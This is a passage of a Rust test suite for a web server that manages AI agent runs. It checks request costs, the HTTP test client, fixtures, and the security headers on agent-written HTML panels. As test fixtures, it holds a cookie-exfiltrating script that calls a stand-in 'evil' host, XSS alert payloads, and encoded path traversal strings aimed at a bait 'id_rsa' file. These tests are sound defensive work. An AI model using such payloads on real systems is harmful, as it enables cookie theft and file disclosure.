11769            fx.runs()
11770                .join(&state.id)
11771                .join("artifacts/eviction-review-1.json"),
11772            serde_json::to_vec(&record).unwrap(),
11773        )
11774        .unwrap();
11775        std::fs::remove_dir_all(&repo).unwrap();
11776        let url = format!("/api/runs/{}/seat-evidence", state.id);
11777        let list = fx.get(&url).await;
11778        assert_eq!(list.status, 200, "{}", list.body);
11779        assert_eq!(list.json()[&head], "review-1");
11780        let patch = fx.get(&format!("{url}/{head}")).await;
11781        assert_eq!(patch.status, 200, "{}", patch.body);
11782        assert!(patch.body.contains("+archived review"));
11783        assert_eq!(fx.get(&format!("{url}/unknown")).await.status, 404);
11784        std::fs::write(evidence.join("objects.pack"), "corrupt").unwrap();
11785        assert_eq!(fx.get(&url).await.status, 404);
11786        assert_eq!(fx.get(&format!("{url}/{head}")).await.status, 404);
11787    }
11788
11789    fn request_counts(res: &Res) -> (usize, usize) {
11790        assert_eq!(res.status, 200, "{}", res.body);
11791        (
11792            res.header("x-test-discoveries").unwrap().parse().unwrap(),
11793            res.header("x-test-git").unwrap().parse().unwrap(),
11794        )
11795    }
11796
11797    #[tokio::test]
11798    async fn list_request_cost_is_independent_of_record_count() {
11799        let mut previous = None;
11800        for n in [4, 60] {
11801            // Health refreshes configuration on a detached thread. Run it
11802            // last and give each scale its own repository/cache so that
11803            // refresh cannot warm the next measured cold extraction.
11804            let (_tmp, repos, fx) = performance_fixture().await;
11805            seed_performance(&fx, &repos, n, n, n);
11806            let mut costs = Vec::new();
11807            for (path, discoveries) in [
11808                ("/api/questions", 1),
11809                ("/api/talks", 0),
11810                ("/api/stats", 1),
11811                ("/api/health", 0),
11812            ] {
11813                // Equal cold extraction caches at both scales; this also
11814                // bounds first-request cost instead of only warmed requests.
11815                for repo in &repos {
11816                    let cache = repo.join(".git/magi/config");
11817                    if cache.exists() {
11818                        std::fs::remove_dir_all(cache).unwrap();
11819                    }
11820                }
11821                let cost = request_counts(&fx.get(path).await);
11822                eprintln!("{path} N={n}: discoveries={} git={}", cost.0, cost.1);
11823                assert_eq!(cost.0, discoveries, "{path}, N={n}");
11824                assert!(
11825                    cost.1 <= 40 && (discoveries == 0 || cost.1 > 0),
11826                    "{path}: {cost:?}"
11827                );
11828                costs.push(cost);
11829            }
11830            if let Some(previous) = previous {
11831                assert_eq!(costs, previous);
11832            }
11833            previous = Some(costs);
11834        }
11835        // runs reads shared row inputs and probes process liveness; queue
11836        // builds one blocker inventory; notifications reads its own store.
11837        // None discovers configuration or spawns git per item.
11838    }
11839
11840    /// The same handler path without transport, so the deterministic cause
11841    /// can also be checked in environments that prohibit binding sockets.
11842    #[tokio::test]
11843    async fn list_handler_cost_without_transport() {
11844        let mut previous = None;
11845        for (n, runs, items) in [(4, 4, 4), (60, 60, 60), (200, 300, 400)] {
11846            // As in the transport test, isolate each scale from the previous
11847            // health request's detached configuration refresh.
11848            let (_tmp, repos) = performance_repositories().await;
11849            let fx = Fixture {
11850                home: TempDir::new().unwrap(),
11851                addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
11852            };
11853            let ui = Arc::new(
11854                Ui::new(
11855                    fx.queue(),
11856                    fx.questions(),
11857                    fx.talks(),
11858                    fx.runs(),
11859                    fx.home.path().to_path_buf(),
11860                    repos[0].clone(),
11861                )
11862                .with_worktrees_root(fx.home.path().join("wt")),
11863            );
11864            seed_performance(&fx, &repos, n, runs, items);
11865            let mut costs = Vec::new();
11866            for endpoint in ["questions", "talks", "stats", "health"] {
11867                for repo in &repos {
11868                    let cache = repo.join(".git/magi/config");
11869                    if cache.exists() {
11870                        std::fs::remove_dir_all(cache).unwrap();
11871                    }
11872                }
11873                let (_, cost) = request_cost::measure(async {
11874                    match endpoint {
11875                        "questions" => {
11876                            let _ = questions_list(State(ui.clone())).await.unwrap();
11877                        }
11878                        "talks" => {
11879                            let _ = talks_list(
11880                                State(ui.clone()),
11881                                Query(ListQuery {
11882                                    limit: None,
11883                                    ids: None,
11884                                }),
11885                                header::HeaderMap::new(),
11886                            )
11887                            .await
11888                            .unwrap();
11889                        }
11890                        "health" => {
11891                            let _ = health(State(ui.clone())).await.unwrap();
11892                        }
11893                        _ => {
11894                            let _ = stats_get(State(ui.clone()), Query(StatsQuery::default()))
11895                                .await
11896                                .unwrap();
11897                        }
11898                    }
11899                })
11900                .await;
11901                eprintln!("{endpoint} handler N={n}: {cost:?}");
11902                assert_eq!(
11903                    cost.0,
11904                    if matches!(endpoint, "talks" | "health") {
11905                        0
11906                    } else {
11907                        1
11908                    },
11909                    "{endpoint}"
11910                );
11911                assert!(
11912                    cost.1 <= 40 && (matches!(endpoint, "talks" | "health") || cost.1 > 0),
11913                    "{endpoint}: {cost:?}"
11914                );
11915                costs.push(cost);
11916            }
11917            if let Some(previous) = previous {
11918                assert_eq!(costs, previous);
11919            }
11920            previous = Some(costs);
11921        }
11922    }
11923
11924    #[tokio::test]
11925    async fn monitor_and_periodic_update_recheck_git_cost() {
11926        let (tmp, repos) = performance_repositories().await;
11927        let fx = Fixture {
11928            home: TempDir::new().unwrap(),
11929            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
11930        };
11931        let ui = Arc::new(
11932            Ui::new(
11933                fx.queue(),
11934                fx.questions(),
11935                fx.talks(),
11936                fx.runs(),
11937                fx.home.path().to_path_buf(),
11938                repos[0].clone(),
11939            )
11940            .with_worktrees_root(fx.home.path().join("wt")),
11941        );
11942        let cache = repos[0].join(".git/magi/config");
11943        if cache.exists() {
11944            std::fs::remove_dir_all(&cache).unwrap();
11945        }
11946
11947        let (_, monitor_cost) = request_cost::measure(async {
11948            let mut snapshot = None;
11949            for _ in 0..20 {
11950                let state = Arc::clone(&ui);
11951                snapshot = Some(
11952                    tokio::task::spawn_blocking(request_cost::carry(move || {
11953                        monitor_scan(&state, snapshot)
11954                    }))
11955                    .await
11956                    .unwrap(),
11957                );
11958            }
11959        })
11960        .await;
11961        assert_eq!(monitor_cost, (0, 0));
11962
11963        // The idle update worker, unlike the revision monitor, reads config.
11964        let (_, cold_cost) = request_cost::measure(async {
11965            for _ in 0..20 {
11966                assert_eq!(update_recheck_once(&ui).await, UPDATE_RECHECK_POLL_MAX);
11967            }
11968        })
11969        .await;
11970        assert_eq!(cold_cost, (20, 21));
11971
11972        // Move `origin/main` via a separate clone without touching `repos[0]`'s
11973        // working tree, then fetch; the next scan must immediately observe the
11974        // new committed `magi.toml`.
11975        let origin = tmp.path().join("one.git");
11976        let pusher = tmp.path().join("pusher-one");
11977        crate::git::git(
11978            tmp.path(),
11979            &[
11980                "clone",
11981                "-b",
11982                "main",
11983                origin.to_str().unwrap(),
11984                pusher.to_str().unwrap(),
11985            ],
11986        )
11987        .await
11988        .unwrap();
11989        std::fs::write(
11990            pusher.join("magi.toml"),
11991            format!("{MOCK_AGENT_TOML}\n[graph]\nimplementers = 3\n[repos]\nroots = []\n[update]\nmode = \"off\"\ninterval = \"1m\"\n[verify]\ne2e = []\ngate = []\n"),
11992        )
11993        .unwrap();
11994        crate::git::git(&pusher, &["add", "magi.toml"])
11995            .await
11996            .unwrap();
11997        crate::git::git(
11998            &pusher,
11999            &[
12000                "-c",
12001                "user.name=fixture",
12002                "-c",
12003                "user.email=fixture@example.invalid",
12004                "commit",
12005                "-m",
12006                "bump implementers",
12007            ],
12008        )
12009        .await
12010        .unwrap();
12011        crate::git::git(&pusher, &["push", "origin", "main"])
12012            .await
12013            .unwrap();
12014        crate::git::git(&repos[0], &["fetch", "origin"])
12015            .await
12016            .unwrap();
12017
12018        let (observed, moved_cost) = request_cost::measure(update_recheck_once(&ui)).await;
12019        assert_eq!(observed, UPDATE_RECHECK_POLL_MIN);
12020        assert_eq!(moved_cost, (1, 2));
12021        let (observed_again, warm_cost) = request_cost::measure(update_recheck_once(&ui)).await;
12022        assert_eq!(observed_again, observed);
12023        assert_eq!(warm_cost, (1, 1));
12024    }
12025
12026    #[tokio::test]
12027    async fn list_request_cost_scopes_do_not_mix() {
12028        let (_tmp, repos, fx) = performance_fixture().await;
12029        seed_performance(&fx, &repos, 10, 0, 10);
12030        let (questions, talks, notices) = tokio::join!(
12031            fx.get("/api/questions"),
12032            fx.get("/api/talks"),
12033            fx.get("/api/notifications")
12034        );
12035        assert_eq!(request_counts(&questions).0, 1);
12036        // Cached summaries perform no config discovery or git work, even
12037        // alongside the questions request that still discovers config.
12038        assert_eq!(request_counts(&talks), (0, 0));
12039        assert_eq!(request_counts(&notices), (0, 0));
12040    }
12041
12042    #[tokio::test]
12043    async fn list_endpoints_large_home_responses() {
12044        check_large_home_endpoints(false).await;
12045    }
12046
12047    #[tokio::test]
12048    #[ignore = "local wall-clock performance measurement; see docs/web-responsiveness.md"]
12049    async fn list_endpoints_large_home_ceiling() {
12050        check_large_home_endpoints(true).await;
12051    }
12052
12053    async fn check_large_home_endpoints(timed: bool) {
12054        let (_tmp, repos, fx) = performance_fixture().await;
12055        seed_performance(&fx, &repos, 200, 300, 400);
12056        let mut failures = Vec::new();
12057        // app.js boot/change loads plus the initial dashboard, settings and
12058        // repo picker. SSE is a persistent stream, not a bounded GET.
12059        for path in [
12060            "/",
12061            "/app.js",
12062            "/app.css",
12063            "/api/questions",
12064            "/api/runs?limit=300",
12065            "/api/queue",
12066            "/api/talks",
12067            "/api/notifications",
12068            "/api/health",
12069            "/api/stats",
12070            "/api/loop",
12071            "/api/settings",
12072            "/api/repos",
12073        ] {
12074            let start = std::time::Instant::now();
12075            let result = if timed {
12076                tokio::time::timeout(Duration::from_secs(5), fx.get(path)).await
12077            } else {
12078                Ok(fx.get(path).await)
12079            };
12080            let elapsed = start.elapsed();
12081            eprintln!("{path}: {elapsed:?}");
12082            match result {
12083                Ok(res) if res.status == 200 && (!timed || elapsed <= Duration::from_secs(5)) => {}
12084                Ok(res) => failures.push(format!("{path}: status {}, {elapsed:?}", res.status)),
12085                Err(_) => failures.push(format!("{path}: exceeded 5 seconds ({elapsed:?})")),
12086            }
12087        }
12088        assert!(failures.is_empty(), "{}", failures.join("\n"));
12089    }
12090
12091    struct Res {
12092        status: u16,
12093        headers: String,
12094        /// The header block with its original casing, for the assertions that
12095        /// compare a header *value* rather than looking for a name. Lowercasing
12096        /// a CSP would hide a directive spelled with a capital letter, and the
12097        /// whole point of that test is that the string is exactly right.
12098        head: String,
12099        body: String,
12100        /// The body before any UTF-8 handling, for the routes that serve
12101        /// something other than text. A panel asset is a PNG as often as not,
12102        /// and `from_utf8_lossy` would silently replace half of it.
12103        bytes: Vec<u8>,
12104    }
12105
12106    impl Res {
12107        fn json(&self) -> Value {
12108            serde_json::from_str(&self.body)
12109                .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
12110        }
12111
12112        /// One header's value verbatim, or `None` when it was not sent.
12113        fn header(&self, name: &str) -> Option<&str> {
12114            self.head.lines().find_map(|line| {
12115                let (key, value) = line.split_once(':')?;
12116                key.trim()
12117                    .eq_ignore_ascii_case(name)
12118                    .then(|| value.trim_start().trim_end_matches('\r'))
12119            })
12120        }
12121    }
12122
12123    /// A one-shot HTTP/1.1 client. `Connection: close` is what lets the reply
12124    /// be read to end-of-stream without parsing framing.
12125    async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
12126        request_with(addr, method, path, body, &[]).await
12127    }
12128
12129    /// As [`request`], with extra request headers - conditional GETs need
12130    /// `If-None-Match`, and a server that sets an `ETag` it never compares is
12131    /// worse than one that sets none.
12132    async fn request_with(
12133        addr: SocketAddr,
12134        method: &str,
12135        path: &str,
12136        body: Option<&str>,
12137        extra: &[(&str, &str)],
12138    ) -> Res {
12139        let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
12140        for (name, value) in extra {
12141            head.push_str(&format!("{name}: {value}\r\n"));
12142        }
12143        if let Some(body) = body {
12144            head.push_str("Content-Type: application/json\r\n");
12145            head.push_str(&format!("Content-Length: {}\r\n", body.len()));
12146        }
12147        head.push_str("\r\n");
12148        if let Some(body) = body {
12149            head.push_str(body);
12150        }
12151        let mut socket = tokio::net::TcpStream::connect(addr)
12152            .await
12153            .expect("connect to the test server");
12154        socket
12155            .write_all(head.as_bytes())
12156            .await
12157            .expect("write request");
12158        let mut raw = Vec::new();
12159        socket.read_to_end(&mut raw).await.expect("read response");
12160        // Split on the raw bytes rather than on a lossy string, so a binary
12161        // body survives to be compared byte for byte.
12162        let split = raw
12163            .windows(4)
12164            .position(|w| w == b"\r\n\r\n")
12165            .expect("a header block");
12166        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
12167        let bytes = raw[split + 4..].to_vec();
12168        let status = head
12169            .lines()
12170            .next()
12171            .and_then(|line| line.split_whitespace().nth(1))
12172            .and_then(|code| code.parse().ok())
12173            .expect("a status line");
12174        Res {
12175            status,
12176            headers: head.to_lowercase(),
12177            head,
12178            body: String::from_utf8_lossy(&bytes).into_owned(),
12179            bytes,
12180        }
12181    }
12182
12183    /// A `POST` carrying a raw binary body and its own headers, for the
12184    /// attachment upload route - `request_with` only ever sends
12185    /// `Content-Type: application/json`, which is wrong for an image and
12186    /// would corrupt anything not valid UTF-8 by round-tripping it through
12187    /// `&str` first.
12188    async fn request_bytes(
12189        addr: SocketAddr,
12190        path: &str,
12191        headers: &[(&str, &str)],
12192        body: &[u8],
12193    ) -> Res {
12194        let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
12195        for (name, value) in headers {
12196            head.push_str(&format!("{name}: {value}\r\n"));
12197        }
12198        head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
12199        let mut socket = tokio::net::TcpStream::connect(addr)
12200            .await
12201            .expect("connect to the test server");
12202        socket
12203            .write_all(head.as_bytes())
12204            .await
12205            .expect("write request head");
12206        socket.write_all(body).await.expect("write request body");
12207        let mut raw = Vec::new();
12208        socket.read_to_end(&mut raw).await.expect("read response");
12209        let split = raw
12210            .windows(4)
12211            .position(|w| w == b"\r\n\r\n")
12212            .expect("a header block");
12213        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
12214        let bytes = raw[split + 4..].to_vec();
12215        let status = head
12216            .lines()
12217            .next()
12218            .and_then(|line| line.split_whitespace().nth(1))
12219            .and_then(|code| code.parse().ok())
12220            .expect("a status line");
12221        Res {
12222            status,
12223            headers: head.to_lowercase(),
12224            head,
12225            body: String::from_utf8_lossy(&bytes).into_owned(),
12226            bytes,
12227        }
12228    }
12229
12230    /// A run on disk, without touching the process-global magi home.
12231    fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
12232        let mut state = RunState::new(
12233            PathBuf::from("/repo/magi"),
12234            "main".to_owned(),
12235            "0123456789abcdef".to_owned(),
12236            "Add a web UI\n\nMobile first.".to_owned(),
12237            Config::default(),
12238        );
12239        state.id = id.to_owned();
12240        state.status = status;
12241        let dir = runs.join(id);
12242        std::fs::create_dir_all(&dir).expect("run dir");
12243        std::fs::write(
12244            dir.join("run.json"),
12245            serde_json::to_string_pretty(&state).expect("serialize run"),
12246        )
12247        .expect("write run.json");
12248    }
12249
12250    /// Same as [`write_run`], but against a named repository rather than the
12251    /// fixed `/repo/magi` - for the `?repo=` stats tests, which need runs
12252    /// spread across more than one.
12253    fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
12254        let mut state = RunState::new(
12255            PathBuf::from(repo),
12256            "main".to_owned(),
12257            "0123456789abcdef".to_owned(),
12258            "task".to_owned(),
12259            Config::default(),
12260        );
12261        state.id = id.to_owned();
12262        state.status = status;
12263        let dir = runs.join(id);
12264        std::fs::create_dir_all(&dir).expect("run dir");
12265        std::fs::write(
12266            dir.join("run.json"),
12267            serde_json::to_string_pretty(&state).expect("serialize run"),
12268        )
12269        .expect("write run.json");
12270    }
12271
12272    fn write_daemon(home: &FsPath, updated_at: Timestamp) {
12273        let body = serde_json::json!({
12274            "schema": 1,
12275            "pid": 4242,
12276            "started_at": Timestamp::now().to_string(),
12277            "updated_at": updated_at.to_string(),
12278            "idle": false,
12279            "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
12280            "completed": 7,
12281            "polls": 143,
12282        });
12283        std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
12284    }
12285
12286    /// A loop that starts, finds nothing to do, and waits to be told to stop.
12287    ///
12288    /// No test in this file may start the real loop - see [`Ui::launch`] for
12289    /// why - so this stands in for the only thing the routes need a loop to
12290    /// do: keep running until `Stop` is set, then return. A real
12291    /// `serve_until` here would resolve its queue and its status file through
12292    /// the process-global magi home, claim whatever it found in the
12293    /// operator's live backlog, overwrite the status file of the `magi serve`
12294    /// that owns it, and spend real agent quota on a real competition.
12295    fn launch_idle(
12296        _opts: daemon::Opts,
12297        stop: daemon::Stop,
12298    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
12299        Box::pin(async move {
12300            while !stop.stopped() {
12301                tokio::time::sleep(Duration::from_millis(2)).await;
12302            }
12303            Ok(())
12304        })
12305    }
12306
12307    /// A loop that fails on the way up, the way one whose home has gone
12308    /// read-only does.
12309    fn launch_broken(
12310        _opts: daemon::Opts,
12311        _stop: daemon::Stop,
12312    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
12313        // The stand-in dies instantly, so a restarted one can record its own
12314        // failure before the start's response is read. The second attempt
12315        // therefore fails with a different message, to tell a stale error
12316        // from a fresh one.
12317        static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
12318        let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
12319        Box::pin(async move {
12320            Err(anyhow::anyhow!(if first {
12321                "publish the daemon status file: read-only file system"
12322            } else {
12323                "the restarted stand-in failed as well"
12324            }))
12325        })
12326    }
12327
12328    /// The loop view once `want` accepts it.
12329    ///
12330    /// Polled rather than asserted straight after the POST because stopping
12331    /// is deliberately not instant - that is the contract - and rather than
12332    /// slept through because a fixed wait is either flaky or slow.
12333    /// `SETTLE_STEPS` is far longer than a stand-in loop needs and still
12334    /// finite, so a genuine hang fails the test instead of hanging the
12335    /// suite.
12336    async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
12337        for _ in 0..SETTLE_STEPS {
12338            let view = fx.get("/api/loop").await.json();
12339            if want(&view) {
12340                return view;
12341            }
12342            tokio::time::sleep(Duration::from_millis(10)).await;
12343        }
12344        panic!(
12345            "the loop never settled: {}",
12346            fx.get("/api/loop").await.json()
12347        );
12348    }
12349
12350    /// File an open question directly in the store the server reads.
12351    fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
12352        let store = fx.questions();
12353        let mut q = Question::new(
12354            "20260902-000000-beef".to_owned(),
12355            "implement".to_owned(),
12356            "impl-A".to_owned(),
12357            summary.to_owned(),
12358            "because it matters".to_owned(),
12359            choices.iter().map(|c| (*c).to_owned()).collect(),
12360        );
12361        store.put(&mut q).expect("put question");
12362        q.id
12363    }
12364
12365    /// A question with a panel the server can serve, plus the named assets.
12366    ///
12367    /// Written through `Questions::put_panel` rather than by laying out the
12368    /// directory here, so these tests exercise the same on-disk shape the
12369    /// agents produce and cannot pass against a layout only the tests know.
12370    fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
12371        let store = fx.questions();
12372        let mut q = Question::new(
12373            "20260902-000000-beef".to_owned(),
12374            "land".to_owned(),
12375            "fix".to_owned(),
12376            "Merge this?".to_owned(),
12377            "the diff is in the panel".to_owned(),
12378            vec!["merge".to_owned(), "hold".to_owned()],
12379        );
12380        // Staged outside the questions root, because `put_panel` copies from
12381        // wherever the agent left its files.
12382        let staging = fx.home.path().join("staging");
12383        std::fs::create_dir_all(&staging).expect("staging dir");
12384        let sources: Vec<PathBuf> = assets
12385            .iter()
12386            .map(|(name, bytes)| {
12387                let path = staging.join(name);
12388                std::fs::write(&path, bytes).expect("write staged asset");
12389                path
12390            })
12391            .collect();
12392        store
12393            .put_panel(&mut q, html, &sources)
12394            .expect("write the panel");
12395        store.put(&mut q).expect("put question");
12396        q.id
12397    }
12398
12399    /// A talk on disk, without talking to a model.
12400    ///
12401    /// Written as JSON straight into the store the server reads, because the
12402    /// only constructor `talk::begin` offers takes no turn but still requires
12403    /// a real caller-visible flow. The one thing this cannot make up is the
12404    /// seat, so it is built with the real `SeatState::new` and serialized -
12405    /// the alternative, hand-writing that object, would make these tests fail
12406    /// the day the seat gains a field.
12407    fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
12408        seed_talk_at(&fx.talks(), id, status)
12409    }
12410
12411    fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
12412        std::fs::create_dir_all(store.root()).expect("talks dir");
12413        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
12414            .expect("serialize a seat");
12415        let body = serde_json::json!({
12416            "schema": 1,
12417            "id": id,
12418            "repo": "/repo/magi",
12419            "agent": "mock",
12420            "status": status,
12421            "turns": [],
12422            "created_at": Timestamp::now().to_string(),
12423            "updated_at": Timestamp::now().to_string(),
12424            "seat": seat,
12425        });
12426        std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
12427        store.get(id).expect("the seeded talk has to be readable");
12428        id.to_owned()
12429    }
12430
12431    #[tokio::test]
12432    async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
12433        let fx = Fixture::start().await;
12434        let id = panel(
12435            &fx,
12436            "<h1>Merge?</h1><img src=\"diff.svg\">",
12437            &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
12438        );
12439
12440        for path in [
12441            format!("/api/questions/{id}/panel"),
12442            format!("/api/questions/{id}/asset/diff.svg"),
12443        ] {
12444            let res = fx.get(&path).await;
12445            assert_eq!(res.status, 200, "{path}: {}", res.body);
12446            // The whole string, not a substring. A weakened directive - an
12447            // `img-src *` that lets a panel beacon out to a remote host, a
12448            // `script-src` anything, a missing `form-action` that lets it post
12449            // the owner's decision to a third party - has to fail here, and a
12450            // `contains` assertion would let every one of those through.
12451            assert_eq!(
12452                res.header("content-security-policy"),
12453                Some(
12454                    "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
12455                     font-src data:; base-uri 'none'; form-action 'none'; \
12456                     frame-ancestors 'self'"
12457                ),
12458                "{path} is the only thing between a hostile panel and the tailnet"
12459            );
12460            assert_eq!(
12461                res.header("x-content-type-options"),
12462                Some("nosniff"),
12463                "{path}: a browser must not re-decide the type we sent"
12464            );
12465            assert_eq!(
12466                res.header("referrer-policy"),
12467                Some("no-referrer"),
12468                "{path}: a panel must not leak the question id off the machine"
12469            );
12470
12471            // The front end mounts the frame only after a `HEAD` says the
12472            // panel is there, so `HEAD` has to answer with the same status and
12473            // the same policy as `GET` - a preflight that came back without
12474            // the CSP would mean a frame mounted on an unverified promise.
12475            let pre = fx.head(&path).await;
12476            assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
12477            assert_eq!(
12478                pre.header("content-security-policy"),
12479                res.header("content-security-policy"),
12480                "{path}: the preflight carries the same policy"
12481            );
12482            assert_eq!(
12483                pre.header("content-type"),
12484                res.header("content-type"),
12485                "{path}: the preflight carries the same type"
12486            );
12487        }
12488    }
12489
12490    #[tokio::test]
12491    async fn a_panel_reaches_the_browser_byte_for_byte() {
12492        let fx = Fixture::start().await;
12493        // Markup a sanitiser would be tempted to touch: a stray `<`, a script
12494        // tag, an entity, and a multi-byte character. The sandbox is what makes
12495        // this safe, so nothing here may be rewritten on the way out - a
12496        // rewritten diff is a diff the owner cannot trust.
12497        let html = "<h1>Merge?</h1><p>a &lt; b — 変更</p><script>alert(1)</script>";
12498        let id = panel(&fx, html, &[]);
12499
12500        let res = fx.get(&format!("/api/questions/{id}/panel")).await;
12501
12502        assert_eq!(res.status, 200);
12503        assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
12504        assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
12505        assert_eq!(
12506            res.header("content-disposition"),
12507            None,
12508            "the panel itself is rendered in the frame, not downloaded"
12509        );
12510    }
12511
12512    #[tokio::test]
12513    async fn an_svg_asset_is_a_download_and_a_png_is_not() {
12514        let fx = Fixture::start().await;
12515        let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
12516        let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
12517        let id = panel(
12518            &fx,
12519            "<img src=\"diff.svg\"><img src=\"shot.png\">",
12520            &[("diff.svg", svg), ("shot.png", png)],
12521        );
12522
12523        let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
12524        let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
12525
12526        assert_eq!(as_svg.status, 200);
12527        assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
12528        // An SVG is XML that may carry script. Inside the panel it is an
12529        // `<img src>` and the script cannot run; opened at the top level it
12530        // would be a document on magi's own origin, so the browser is told to
12531        // download it instead of rendering it.
12532        assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
12533
12534        assert_eq!(as_png.status, 200);
12535        assert_eq!(as_png.header("content-type"), Some("image/png"));
12536        assert_eq!(
12537            as_png.header("content-disposition"),
12538            None,
12539            "a raster image has no execution surface, so tapping it still shows it"
12540        );
12541        assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
12542    }
12543
12544    #[tokio::test]
12545    async fn an_html_asset_is_never_served_as_html() {
12546        let fx = Fixture::start().await;
12547        let id = panel(
12548            &fx,
12549            "<p>see the notes</p>",
12550            &[
12551                (
12552                    "notes.html",
12553                    b"<script>fetch('http://evil/'+document.cookie)</script>",
12554                ),
12555                ("hook.js", b"fetch('http://evil/')"),
12556                ("data.json", b"{}"),
12557                ("HEADLINE.TXT", b"plain"),
12558            ],
12559        );
12560
12561        for name in ["notes.html", "hook.js", "data.json"] {
12562            let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
12563            assert_eq!(res.status, 200, "{name}: {}", res.body);
12564            // Serving this as text/html would be a way to reach agent markup
12565            // at the top level of the operator's browser, outside the frame's
12566            // sandbox and outside its CSP - which is the whole thing the panel
12567            // design exists to prevent. Unlisted types are downloads.
12568            assert_eq!(
12569                res.header("content-type"),
12570                Some("application/octet-stream"),
12571                "{name} must not be a type the browser will execute or render"
12572            );
12573        }
12574        // The whitelist is matched case-insensitively, so an agent shouting the
12575        // extension still gets a readable file rather than a download.
12576        let txt = fx
12577            .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
12578            .await;
12579        assert_eq!(
12580            txt.header("content-type"),
12581            Some("text/plain; charset=utf-8")
12582        );
12583    }
12584
12585    #[tokio::test]
12586    async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
12587        let fx = Fixture::start().await;
12588        let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
12589        // Something outside the panel directory that a traversal would reach if
12590        // one got through, so a passing test is not merely "the file was
12591        // missing anyway".
12592        std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
12593
12594        // Decoded before this server's handler sees them: axum percent-decodes
12595        // path parameters, so `name` arrives as `../id_rsa`, `..\id_rsa` and a
12596        // string with a NUL in it. All three look like ordinary single-segment
12597        // filenames to the router, so the router passes them through and
12598        // `valid_asset_name` is what refuses them - for the literal `..`, and
12599        // for `/`, `\` and NUL not being in the permitted character set.
12600        for encoded in [
12601            "%2e%2e%2fid_rsa",
12602            "..%2fid_rsa",
12603            "..%5cid_rsa",
12604            "%2e%2e%5cid_rsa",
12605            "diff%00.svg",
12606            "..",
12607            ".hidden",
12608            "%2e%2e%2f%2e%2e%2fid_rsa",
12609        ] {
12610            let res = fx
12611                .get(&format!("/api/questions/{id}/asset/{encoded}"))
12612                .await;
12613            assert_eq!(
12614                res.status, 400,
12615                "`{encoded}` has to be refused by name, not looked up: {}",
12616                res.body
12617            );
12618            assert!(res.json()["error"].is_string(), "{}", res.body);
12619        }
12620
12621        // Not decoded, and never this handler's problem: a real slash makes the
12622        // request one segment too long for `/api/questions/{id}/asset/{name}`,
12623        // so axum's router has no route to match and answers before any code
12624        // here runs. Asserted so that a future route with a wildcard segment
12625        // cannot quietly open this door.
12626        for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
12627            let res = fx
12628                .get(&format!("/api/questions/{id}/asset/{literal}"))
12629                .await;
12630            assert_eq!(
12631                res.status, 404,
12632                "`{literal}` must not match the asset route at all: {}",
12633                res.body
12634            );
12635        }
12636    }
12637
12638    #[tokio::test]
12639    async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
12640        let fx = Fixture::start().await;
12641        let plain = ask(&fx, "Which backend?", &["SQLite"]);
12642        let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
12643
12644        // A question nobody wrote a panel for. The client preflights with HEAD
12645        // and cannot see inside a sandboxed frame, so this must be a status and
12646        // not an empty page.
12647        let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
12648        assert_eq!(none.status, 404, "{}", none.body);
12649        assert!(none.json()["error"].is_string(), "{}", none.body);
12650        assert_eq!(
12651            fx.head(&format!("/api/questions/{plain}/panel"))
12652                .await
12653                .status,
12654            404,
12655            "the preflight is the only way the client can learn this"
12656        );
12657
12658        // A name that is perfectly legal and simply is not there.
12659        let missing = fx
12660            .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
12661            .await;
12662        assert_eq!(missing.status, 404, "{}", missing.body);
12663        assert!(missing.json()["error"].is_string(), "{}", missing.body);
12664
12665        // A question that does not exist at all, on both routes.
12666        assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
12667        assert_eq!(
